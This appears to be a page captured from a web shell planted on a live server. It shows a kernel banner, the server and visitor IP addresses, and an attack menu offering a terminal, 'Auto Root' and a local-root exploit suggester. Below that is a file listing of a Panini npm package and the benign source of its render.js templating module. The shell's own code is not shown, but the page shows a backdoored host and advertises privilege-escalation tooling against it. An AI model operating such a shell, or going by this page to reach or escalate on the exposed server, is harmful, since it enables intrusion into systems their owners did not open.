Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.140.201.179
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
panini /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
helpMessage.js
1022
B
-rw-rw-r--
2022-08-30 11:49
loadBuiltinHelpers.js
405
B
-rw-rw-r--
2022-08-30 11:49
loadData.js
890
B
-rw-rw-r--
2022-08-30 11:49
loadHelpers.js
837
B
-rw-rw-r--
2022-08-30 11:49
loadLayouts.js
632
B
-rw-rw-r--
2022-08-30 11:49
loadPartials.js
710
B
-rw-rw-r--
2022-08-30 11:49
processRoot.js
789
B
-rw-rw-r--
2022-08-30 11:49
refresh.js
529
B
-rw-rw-r--
2022-08-30 11:49
render.js
3.14
KB
-rw-rw-r--
2022-08-30 11:49
utils.js
444
B
-rw-rw-r--
2022-08-30 11:49
Save
Rename
var extend = require('deepmerge'); var fm = require('front-matter'); var path = require('path'); var through = require('through2'); var stripBom = require('strip-bom'); var processRoot = require('./processRoot'); module.exports = function() { return through.obj(render.bind(this)); } /** * Renders a page with a layout. The page also has access to any loaded partials, helpers, or data. * @param {object} file - Vinyl file being parsed. * @param {string} enc - Vinyl file encoding. * @param {function} cb - Callback that passes the rendered page through the stream. */ function render(file, enc, cb) { try { // Get the HTML for the current page and layout var page = fm(stripBom(file.contents.toString())); var pageData; // Determine which layout to use var basePath = path.relative(this.options.root, path.dirname(file.path)); var layout = page.attributes.layout || (this.options.pageLayouts && this.options.pageLayouts[basePath]) || 'default'; var layoutTemplate = this.layouts[layout]; if (!layoutTemplate) { if (layout === 'default') { throw new Error('Panini error: you must have a layout named "default".'); } else { throw new Error('Panini error: no layout named "'+layout+'" exists.'); } } // Now create Handlebars templates out of them var pageTemplate = this.Handlebars.compile(page.body + '\n'); // Build page data with globals pageData = extend({}, this.data); // Add any data from stream plugins pageData = (file.data) ? extend(pageData, file.data) : pageData; // Add this page's front matter pageData = extend(pageData, page.attributes); // Finish by adding constants pageData = extend(pageData, { page: path.basename(file.path, path.extname(file.path)), layout: layout, root: processRoot(file.path, this.options.root) }); // Add special ad-hoc partials for #ifpage and #unlesspage this.Handlebars.registerHelper('ifpage', require('../helpers/ifPage')(pageData.page)); this.Handlebars.registerHelper('unlesspage', require('../helpers/unlessPage')(pageData.page)); // Finally, add the page as a partial called "body", and render the layout template this.Handlebars.registerPartial('body', pageTemplate); file.contents = new Buffer.from(layoutTemplate(pageData)); } catch (e) { if (layoutTemplate) { // Layout was parsed properly so we can insert the error message into the body of the layout this.Handlebars.registerPartial('body', 'Panini: template could not be parsed <br> \n <pre>{{error}}</pre>'); file.contents = new Buffer.from(layoutTemplate({ error: e })); } else { // Not even once - write error directly into the HTML output so the user gets an error // Maintain basic html structure to allow Livereloading scripts to be injected properly file.contents = new Buffer.from('<!DOCTYPE html><html><head><title>Panini error</title></head><body><pre>'+e+'</pre></body></html>'); } throw new Error('Panini: rendering error occured.\n' + e); } finally { // This sends the modified file back into the stream cb(null, file); } }